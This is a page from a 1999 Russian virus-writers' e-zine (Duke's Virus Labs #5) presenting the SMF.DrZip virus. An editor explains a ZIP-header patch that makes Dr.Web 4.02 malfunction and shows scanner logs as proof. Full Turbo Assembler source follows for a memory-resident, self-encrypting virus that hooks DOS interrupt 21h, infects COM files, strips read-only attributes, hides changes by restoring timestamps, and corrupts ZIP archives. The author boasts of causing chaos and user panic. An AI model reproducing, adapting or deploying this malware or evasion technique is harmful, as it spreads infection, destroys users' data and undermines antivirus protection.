- [Duke's Virus Labs #5] - [Page 21] - SMF.DrZip (c) by SMT/SMF Имя вируса : SMF.DrZip Автор : SMT/SMF Язык прогр. : Turbo Assembler Дата создания : 19.03.99 От Duke'а : Как-то я сидел и изучал структуру ZIP-архивов. Точнее говоря, я изучал реакцию оболочек, антивирусов и архиваторов на изменение содержимого полей заголовка ZIP-архива (результаты этих изыском нашли отражение в статье 14 этого номера). Для работы я использовал ZIP-архив с единственным файлом внутри. В ходе исследований я заменил первые байты архива 50h,4Bh,03h,04h на 50h,4Bh,03h,03h и стал тестировать архив программой "DrWeb v4.02 for DOS". Wow ! Чего она мне выдала на экран : ===== Cut here ===== Dr.Web Тест Настройки [F1] Помощь ████████████████████████████████████████████████████████████████████████████████ ██╔════════════════════════════ Окно тестирования ═══════════════════════════╗██ ██║ Загрузка вирусной базы DRW40401.VDB - Ok, вирусов - 105 ║██ ██║ Загрузка вирусной базы DRW40402.VDB - Ok, вирусов - 61 ║██ ██║ Загрузка вирусной базы DRWEBASE.VDB - Ok, вирусов - 10770 ║██ ██║ Тестирование прервано по желанию пользователя! ║██ ██║ В памяти компьютера вирусов не обнаружено ║██ ██║ Поиск вирусов в e:\1\*.*: ║██ ██║ e:\1\TEST.ZIP - архив PKZIP ║██ ██║ ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ ║██ ██║ ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ ║██ ██║ ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ ║██ ██║ ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/ш/&дУ╧ё DїЎ╞Аu╕B3╔3°?╥Є ╥u = - о ║██ ██║ шибка распаковки! ║██ ██║ Отчет для диска E: ║██ ██║ Проверено : файлов и загрузочных секторов - 4294967295 ║██ ██║ Обнаружено: вирусов и инфицированных программ - 0 ║██ ██║ Время сканирования: 00:00:00 ║██ ██║ ║██ ██║ ║██ ██╚══════════════════════════════════════════════════════════════════════════╝██ ████████████████████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████████████████████████████████████ Всего известных вирусов: 10936 "Антивирусная Лаборатория Данилова" ===== Cut here ===== В report.drw это выглядит скромнее : ===== Cut here ===== ──────────────────────────────────────── Dr.Web, версия 4.02 (28 августа 1998) Copyright (c) Игорь Данилов, 1992-98 Протокол работы от 1999 Mar 21 18:16:39 Командная строка: ──────────────────────────────────────── Загрузка вирусной базы DRW40401.VDB - Ok, вирусов - 105 Загрузка вирусной базы DRW40402.VDB - Ok, вирусов - 61 Загрузка вирусной базы DRWEBASE.VDB - Ok, вирусов - 10770 Поиск вирусов в памяти компьютера - 32 Kb; 03% Прервать тестирование? Да Тестирование прервано по желанию пользователя! В памяти компьютера вирусов не обнаружено Поиск вирусов в e:\1\*.*: e:\1\TEST.ZIP - архив PKZIP ш/ш/&дУ╧ё DїЎ╞Аu╕B3╔3°?╥Є ╥u = - ошибка распаковки! Отчет для диска E: Проверено : файлов и загрузочных секторов - 4294967295 Обнаружено: вирусов и инфицированных программ - 0 Время сканирования: 00:00:00 ===== Cut here ===== Однако, оказалось что трюк работает только на ZIP-архивах с единственным файлом внутри :(( На более полновесные архивы (будем называть их "большие") DrWeb реагирует попроще: ===== Cut here ===== ──────────────────────────────────────── Dr.Web, версия 4.02 (28 августа 1998) Copyright (c) Игорь Данилов, 1992-98 Протокол работы от 1999 Mar 21 18:15:03 Командная строка: ──────────────────────────────────────── Загрузка вирусной базы DRW40401.VDB - Ok, вирусов - 105 Загрузка вирусной базы DRW40402.VDB - Ok, вирусов - 61 Загрузка вирусной базы DRWEBASE.VDB - Ok, вирусов - 10770 В памяти компьютера вирусов не обнаружено Поиск вирусов в e:\1\*.*: e:\1\TEST2.ZIP - архив PKZIP e:\1\TEST2.ZIP\2.DAT - ошибка CRC! Отчет для диска E: Проверено : файлов и загрузочных секторов - 0 Обнаружено: вирусов и инфицированных программ - 0 Время сканирования: 00:00:00 ===== Cut here ===== Я решил разобраться с причиной такой дискриминации больших ZIP-архивов. Решение нашлось быстро и оказалось достаточно простым. В больших архивах сигнатура 50h,4Bh,03h,04h встречается несколько раз, и надо патчить ПОСЛЕДНЕЕ вхождение этой сигнатуры в файл. И проблема решена - Web глючит как ни в чем ни бывало :)) Стоит заметить, что после этой операции последний файл в архиве перестает распаковываться PKUNZIP. Для общего случая : сколько сигнатур пропатчишь - столько файлов перестанет распаковываться ;) Но с этой проблемой прекрасно справляется PKZIPFIX, поэтому это не слишком опасная деструкция. Хотя, "фо хум хау"... ;-)) Эту идею я предложил SMT для создания демонстрационного вируса SMF.DrZip. Резидентный вирус (аналогично семейству SMF.Gift) при вызове FindFirst/FindNext патчит ZIP-архивы и заражает COM-файлы (да еще и шифрует их). На практике все выглядит так : ZIP-архив постепенно "портятся" (начиная с хвоста :) , а DrWeb глюкует вовсю на этих архивах. Очень мило - на компе хаос, в голове юзера паника ! ===== Cut here ===== ; =============================== SMF.DrZip ================================ ; I am sorry for 386 code :( ; ; шифрующийся com-резидент, шифрует жертвы. ; портит ZIP-архивы так, что DrWeb глючит при их тестировании ; за основу взят мой SMF.Gift ; Под ZipMagic95/98 не работает (не портит архивы, но размножается) ; Более подробное описание - в исходнике SMF.Gift'a .model tiny .code .386 org 0fff0h High1 label ; maximal com-file org 100h Start: mov bx,offset body mov cx,High1-body crypt: xor byte ptr [bx],0 crcode equ $-1 inc bx loop crypt body equ $-1 ; crypt loop offset to complicate debugging this vir mov eax,'DRZW' int 21h ; check if we are already resident cmp eax,'WZRD' jz short VcStart push es ds mov ax,cs dec ax mov ds,ax ; get segment of MCB sub word ptr ds:[3],(High1-Start-1)/16+1 inc ax add ax,word ptr ds:[3] ; calculate segment address for TSR mov es,ax mov si,100h xor di,di mov ds,di mov dx,ax sub dx,10h ; dx=segment of TSR, addressable by offset 100h shl edx,16 mov dx,offset Intr21 xchg edx,ds:[84h] ; addr. of int21 vector pop ds mov ds:[Old21],edx mov cx,virlen rep movsb pop es VcStart:mov si,offset Victim mov di,100h mov cx,High1-virend ; maximum possible victim length mov eax,0c3a4f3h ; opcodes for "rep movsb,retn" mov ds:[0fch],eax push 100h push 0fch retn ; run victim's code ; ================ NEW int21 handler ======================= Intr21: cmp eax,'DRZW' jnz short noCheck mov eax,'WZRD' iret noCheck:pushf pusha push ds es cmp ah,3dh jnz short skipopen mov si,dx lp0: inc si cmp byte ptr [si],0 jnz short lp0 mov eax,dword ptr [si-4] ; get file extension or eax,20202000h ; bring extention to downcase letters cmp eax,'piz.' ; it is '.ZIP' ?-)) jnz short skipopen mov ax,3d02h ; opens zip call Int21 push cs pop ds xchg ax,bx xor cx,cx xor dx,dx lp1: push cx dx ; looking for signature mov ax,4200h call Int21 mov cx,4 mov ah,3fh mov dx,offset abc call Int21 pop dx cx cmp ax,4 jnz short done cmp word ptr [abc],4b50h jnz short none cmp word ptr [abc+2],403h jnz short none mov word ptr [dx1],dx ; save LAST signature found mov word ptr [cx1],cx ; in cx1/dx1 none: inc dx jnz short lp1 inc cx jmp short lp1 done: mov cx,1234h cx1 equ $-2 mov dx,1234h dx1 equ $-2 mov ax,4200h call Int21 mov ah,40h mov cx,4 mov dx,offset def call Int21 skipopen: mov ah,2fh call Int21 ; get search record(DTA) to es:bx push es pop ds mov edx,0 old_size equ $-4 mov eax,ds:[bx+18h] ; get date/size mov dword ptr cs:[old_size],eax ; this trick only to minimize suspicious disk access: cmp eax,edx ; if date/time changed from last search, then jz skip ; it is another file - let's check it mov bp,bx add bx,1eh scan: inc bx cmp byte ptr ds:[bx],0 jnz scan ; search for end of file name cmp dword ptr ds:[bx-4],'MOC.' jnz skip ; check for com-file cmp word ptr ds:[bp+1ah],offset High1-virend ; check file size jae skip ; don't infect long com-files mov ax,4301h lea dx,[bp+1eh] xor cx,cx call Int21 ; reset file attributes (for infecting R/O) mov ax,3d02h call Int21 ; open file for Read/Write jc skip ; file can't be opened xchg ax,bx push cs pop ds mov ah,3fh mov dx,offset Victim mov cx,0ffffh push dx call Int21 ; read file pop si cmp word ptr [si],'M'+100h*'Z' ; check for .exe jz close mov edx,dword ptr [Start] cmp edx,[si] jz close ; check if we're already sick push ax add ax,39075 ror ax,3 add byte ptr cs:[crcode1],al ; polymorphic :) add byte ptr cs:[crcode ],al mov ax,4200h xor dx,dx xor cx,cx call Int21 ; seek to begin of file mov dx,100h mov cx,body-start mov ah,40h call Int21 ; write decoder mov si,offset body pop cx ; "pop" file length add cx,virend-body ; size of output file crlp1: mov dx,offset abc mov di,dx mov al,[si] xor al,0 crcode1 equ $-1 mov [di],al push cx mov cx,1 mov ah,40h call Int21 ; write coded file pop cx inc si loop crlp1 mov ax,5701h mov cx,es:[bp+16h] mov dx,es:[bp+18h] call Int21 ; restore original file time/date close: mov ah,3eh call Int21 mov ax,4301h lea dx,[bp+1eh] movzx cx,byte ptr es:[bp+15h] push es pop ds call Int21 ; restore old file attributes skip: pop es ds popa popf I21: db 0eah ; = jmp dword ptr cs:[Old21] Old21 dd 0 Int21: pushf call dword ptr cs:[Old21] ; can't be replaced to jmp, because ret ; there is call far ... , but ret near... abc dd ? def dd 03034b50h db '[SMF.DrZip]' virend label virlen equ virend-Start ; =========================================================================== Victim: ret ; it's a host program ; =========================================================================== end Start ===== Cut here =====